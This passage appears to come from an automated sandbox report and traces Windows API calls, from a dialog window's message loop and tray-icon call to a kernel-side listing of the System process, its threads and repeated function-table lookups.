(hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.959] GetCursorPos (in: lpPoint=0x32af65fa70 | out: lpPoint=0x32af65fa70*(x=535, y=536)) returned 1 [0053.959] ScreenToClient (in: hWnd=0x201f4, lpPoint=0x32af65fa70 | out: lpPoint=0x32af65fa70) returned 1 [0053.960] GetAsyncKeyState (vKey=1) returned 0 [0053.960] GetAsyncKeyState (vKey=2) returned 0 [0053.960] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.960] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.960] CreateAcceleratorTableW (paccel=0x32af71a920, cAccel=1) returned 0x120113 [0053.960] GetForegroundWindow () returned 0x201f4 [0053.960] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.960] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.960] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.961] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.961] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.961] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.961] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.961] Sleep (dwMilliseconds=0x0) [0054.011] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0054.012] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0054.012] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0054.012] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0054.012] Sleep (dwMilliseconds=0x0) [0054.013] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0054.013] TranslateAcceleratorW (hWnd=0x201f4, hAccTable=0x120113, lpMsg=0x32af65fc10) returned 0 [0054.013] IsDialogMessageW (hDlg=0x201f4, lpMsg=0x32af65fc10) returned 1 [0054.013] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0054.013] TranslateAcceleratorW (hWnd=0x201f4, hAccTable=0x120113, lpMsg=0x32af65fc10) returned 0 [0054.013] TranslateMessage (lpMsg=0x32af65fc10) returned 0 [0054.013] DispatchMessageW (lpMsg=0x32af65fc10) returned 0x0 [0054.013] GetForegroundWindow () returned 0x201f4 [0054.014] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0054.014] GetCursorPos (in: lpPoint=0x32af65fa70 | out: lpPoint=0x32af65fa70*(x=535, y=536)) returned 1 [0054.014] ScreenToClient (in: hWnd=0x201f4, lpPoint=0x32af65fa70 | out: lpPoint=0x32af65fa70) returned 1 [0054.014] GetAsyncKeyState (vKey=1) returned 0 [0054.014] GetAsyncKeyState (vKey=2) returned 0 [0054.014] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0054.014] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0054.014] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0054.014] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0054.014] Sleep (dwMilliseconds=0x0) [0054.015] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0054.015] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0054.015] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0054.015] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0054.015] Sleep (dwMilliseconds=0x0) [0054.125] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0054.125] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0054.125] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0054.125] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x20, wParam=0x40174, lParam=0x2000001) returned 0x0 [0054.125] TranslateAcceleratorW (hWnd=0x201f4, hAccTable=0x120113, lpMsg=0x32af65fc10) returned 0 [0054.125] IsDialogMessageW (hDlg=0x201f4, lpMsg=0x32af65fc10) returned 1 [0054.125] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0054.125] TranslateAcceleratorW (hWnd=0x201f4, hAccTable=0x120113, lpMsg=0x32af65fc10) returned 0 [0054.125] TranslateMessage (lpMsg=0x32af65fc10) returned 0 [0054.125] DispatchMessageW (lpMsg=0x32af65fc10) returned 0x0 [0054.125] GetForegroundWindow () returned 0x201f4 [0054.125] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0054.125] GetCursorPos (in: lpPoint=0x32af65fa70 | out: lpPoint=0x32af65fa70*(x=535, y=536)) returned 1 [0054.125] ScreenToClient (in: hWnd=0x201f4, lpPoint=0x32af65fa70 | out: lpPoint=0x32af65fa70) returned 1 [0054.125] GetAsyncKeyState (vKey=1) returned 0 [0054.125] GetAsyncKeyState (vKey=2) returned 0 [0054.125] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0054.125] TranslateAcceleratorW (hWnd=0x201f4, hAccTable=0x120113, lpMsg=0x32af65fc10) returned 0 [0054.125] IsDialogMessageW (hDlg=0x201f4, lpMsg=0x32af65fc10) returned 1 [0054.125] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0054.125] TranslateAcceleratorW (hWnd=0x201f4, hAccTable=0x120113, lpMsg=0x32af65fc10) returned 0 [0054.125] IsDialogMessageW (hDlg=0x201f4, lpMsg=0x32af65fc10) returned 0 [0054.125] TranslateMessage (lpMsg=0x32af65fc10) returned 0 [0054.125] DispatchMessageW (lpMsg=0x32af65fc10) returned 0x0 [0054.126] Shell_NotifyIconW (dwMessage=0x1, lpData=0x32af65f240) returned 1 [0054.284] KillTimer (hWnd=0xc002c, uIDEvent=0x1) returned 1 [0054.284] SetTimer (hWnd=0xc002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0054.284] PeekMessageW (lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1) [0054.284] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0054.284] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x3b, wParam=0x50e, lParam=0x0) returned 0x1 [0054.284] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0054.284] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x11, wParam=0x0, lParam=0x0) returned 0x1 [0054.285] NtdllDefWindowProc_W (hWnd=0xc002c, Msg=0x11, wParam=0x0, lParam=0x0) returned 0x1 [0054.310] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0054.310] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0054.338] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0054.338] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x46, wParam=0x0, lParam=0x32af65fb60) returned 0x0 [0054.338] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0054.338] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0054.344] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0054.344] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0054.344] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x6, wParam=0x0, lParam=0x0) returned 0x0 [0054.346] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0054.347] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x1c, wParam=0x0, lParam=0x0) returned 0x0 [0054.347] NtdllDefWindowProc_W (hWnd=0xc002c, Msg=0x1c, wParam=0x0, lParam=0x0) returned 0x0 [0054.347] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0054.347] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x3b, wParam=0x50c, lParam=0x0) returned 0x2 [0054.347] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0054.347] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x16, wParam=0x1, lParam=0x0) returned 0x0 [0054.347] NtdllDefWindowProc_W (hWnd=0xc002c, Msg=0x16, wParam=0x1, lParam=0x0) returned 0x0 Thread: id = 145 os_tid = 0x764 Process: id = "30" image_name = "System" filename = "" page_root = "0x1a7000" os_pid = "0x4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "kernel_analysis" parent_id = "0" os_parent_pid = "0x0" cmd_line = "" cur_dir = "" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 2614 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2615 start_va = 0x8bcbee0000 end_va = 0x8bcbf02fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008bcbee0000" filename = "" Thread: id = 150 os_tid = 0x8 Thread: id = 151 os_tid = 0x18 Thread: id = 152 os_tid = 0x14 Thread: id = 153 os_tid = 0x20 Thread: id = 154 os_tid = 0x1c Thread: id = 155 os_tid = 0x50 Thread: id = 156 os_tid = 0x30 Thread: id = 157 os_tid = 0x94 Thread: id = 158 os_tid = 0x98 Thread: id = 159 os_tid = 0x9c Thread: id = 160 os_tid = 0xa4 Thread: id = 161 os_tid = 0xa0 Thread: id = 162 os_tid = 0xc8 Thread: id = 163 os_tid = 0x3c Thread: id = 164 os_tid = 0xd0 Thread: id = 165 os_tid = 0xd4 Thread: id = 166 os_tid = 0xdc Thread: id = 167 os_tid = 0xa8 Thread: id = 168 os_tid = 0xe0 Thread: id = 169 os_tid = 0xe8 Thread: id = 171 os_tid = 0x7c Thread: id = 172 os_tid = 0xb0 Thread: id = 173 os_tid = 0xf4 Thread: id = 174 os_tid = 0xac Thread: id = 177 os_tid = 0x108 Thread: id = 178 os_tid = 0x110 Thread: id = 179 os_tid = 0x114 Thread: id = 180 os_tid = 0x11c Thread: id = 181 os_tid = 0x128 Thread: id = 182 os_tid = 0x4c Thread: id = 183 os_tid = 0x70 Thread: id = 184 os_tid = 0x34 Thread: id = 185 os_tid = 0x40 Thread: id = 186 os_tid = 0x24 Thread: id = 189 os_tid = 0x104 Thread: id = 190 os_tid = 0x80 Thread: id = 192 os_tid = 0x10 Thread: id = 193 os_tid = 0x148 Thread: id = 194 os_tid = 0x118 Thread: id = 195 os_tid = 0x14c Thread: id = 196 os_tid = 0x150 Thread: id = 197 os_tid = 0x154 Thread: id = 198 os_tid = 0x15c Thread: id = 199 os_tid = 0x160 Thread: id = 200 os_tid = 0x164 Thread: id = 201 os_tid = 0x168 Thread: id = 217 os_tid = 0x1b8 Thread: id = 230 os_tid = 0x10c Thread: id = 234 os_tid = 0x13c Thread: id = 235 os_tid = 0x158 Thread: id = 244 os_tid = 0x6c Thread: id = 268 os_tid = 0x38 Thread: id = 272 os_tid = 0x290 Thread: id = 280 os_tid = 0x5c Thread: id = 304 os_tid = 0x300 Thread: id = 313 os_tid = 0x68 Thread: id = 333 os_tid = 0xcc Thread: id = 394 os_tid = 0x34c Thread: id = 395 os_tid = 0x288 Thread: id = 400 os_tid = 0x390 Thread: id = 401 os_tid = 0x398 Thread: id = 458 os_tid = 0x4f8 Thread: id = 498 os_tid = 0x5a0 Thread: id = 520 os_tid = 0x5f8 Thread: id = 549 os_tid = 0x78 Thread: id = 551 os_tid = 0x5fc Thread: id = 552 os_tid = 0x678 Thread: id = 585 os_tid = 0x6fc Thread: id = 608 os_tid = 0x758 Thread: id = 609 os_tid = 0x764 Thread: id = 610 os_tid = 0x768 Thread: id = 611 os_tid = 0x770 Thread: id = 616 os_tid = 0x4fc Thread: id = 634 os_tid = 0x7cc Thread: id = 663 os_tid = 0x644 Thread: id = 709 os_tid = 0x6f8 Thread: id = 758 os_tid = 0x8ac Thread: id = 769 os_tid = 0x8b0 Thread: id = 773 os_tid = 0xd8 Thread: id = 775 os_tid = 0x8f4 Thread: id = 783 os_tid = 0x918 Thread: id = 791 os_tid = 0x93c Thread: id = 798 os_tid = 0x28 Thread: id = 801 os_tid = 0x964 Thread: id = 809 os_tid = 0x988 Thread: id = 817 os_tid = 0x9ac Thread: id = 825 os_tid = 0x9d0 Thread: id = 841 os_tid = 0xa18 Thread: id = 842 os_tid = 0xa1c Thread: id = 859 os_tid = 0xa48 Thread: id = 860 os_tid = 0xa6c Thread: id = 868 os_tid = 0xa90 Thread: id = 876 os_tid = 0xab4 Thread: id = 884 os_tid = 0xad8 Thread: id = 892 os_tid = 0xafc Thread: id = 900 os_tid = 0xb20 Thread: id = 908 os_tid = 0xb44 Thread: id = 912 os_tid = 0xb48 Thread: id = 920 os_tid = 0xb74 Thread: id = 921 os_tid = 0xb78 Thread: id = 922 os_tid = 0xb7c Thread: id = 923 os_tid = 0xb80 Thread: id = 926 os_tid = 0xb84 Thread: id = 937 os_tid = 0xbb8 [0191.601] MmGetNextSession () returned 0xffffe000007fb900 [0191.601] MmAttachSession () returned 0x0 [0191.602] RtlLookupFunctionTable () returned 0xfffff960004b1000 [0191.602] RtlImageNtHeader (BaseAddress=0xfffff960000e9000) returned 0xfffff960000e90f8 [0191.629] ExAllocatePoolWithTag (PoolType=0x0, NumberOfBytes=0x389db, Tag=0x63536c41) returned 0xffffe00000286000 [0191.631] ExFreePool (P=0xffffe0000024d000) [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600035d7f0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004cbb80 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002bd9a4, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c16ec [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000ffe40, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1c90 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600012b4c0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b2ddc [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000149c60, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b3724 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002205e8, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004baaec [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000221c34, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004babd0 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001498d8, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b370c [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600014d7e0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b3a24 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000131660, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b30b8 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001150cc, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000251fc4, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000119268, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b24f4 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600012c740, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600021b570, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004ba72c [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001fc7c8, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b9448 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002207f0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004baaf8 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000154340, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b3cf4 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600035a81c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004cb874 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002198c0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004ba618 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000f7e40, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1678 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600021edf8, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004baa44 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001fdf30, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b9520 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000266eb0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bdb58 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000ffce0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1c60 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002265f8, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bae58 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001306e0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b3094 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600025e3e0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bd4b0 [0191.631] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000218ee4, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004ba5d0 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001380c0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b3304 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600021f744, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004baab0 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000ffa80, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1c24 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002511f8, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bc988 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600023838c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bb8a8 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001885f0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b56f8 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001fa760, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b92e0 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000123720, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b28d8 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001362a0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b3220 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002261ac, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bae28 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000238310, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bb890 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600026b330, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bdf54 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001fa2bc, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b928c [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001fcfb0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b9484 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000fecc0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1bf4 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001f4648, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b8e00 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000221de0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004babe8 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600025f004, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bd540 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000224b68, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bad44 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600018882c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b571c [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002a7780, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c05f4 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000fc7a4, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1a5c [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600026173c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bd72c [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600023a270, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bb9f8 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600022a1d8, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bb080 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000221dcc, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000fd970, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1b34 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600022652c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bae4c [0191.632] RtlLookupFunctionEntry (in: 